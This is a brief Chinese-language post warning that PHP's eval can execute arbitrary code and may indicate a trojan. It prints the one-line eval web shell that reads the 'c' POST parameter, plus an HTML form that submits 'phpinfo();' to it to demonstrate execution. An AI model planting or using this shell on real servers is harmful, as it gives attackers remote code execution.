eval functionphp

eval可以用来执行任何其他php代码，所以对于代码里发现了eval函数一定要小心，可能是木马

就这一句话害死人，这样任何人都可以post任何文件上来，所以要做好防范

<&#63;php @eval($_POST['c']);&#63;>

使用方法也很简单，本地提交文件指向提交文件，里面的php代码就会被执行

<html> 
<body> 
<form action="a.php" method="post"> 
<input type="text" name="c" value="phpinfo();"> 
<input type="submit" value="submit"> 
</form> 
</body> 
</html>

以上所述就是本文的全部内容了，希望大家能够喜欢。
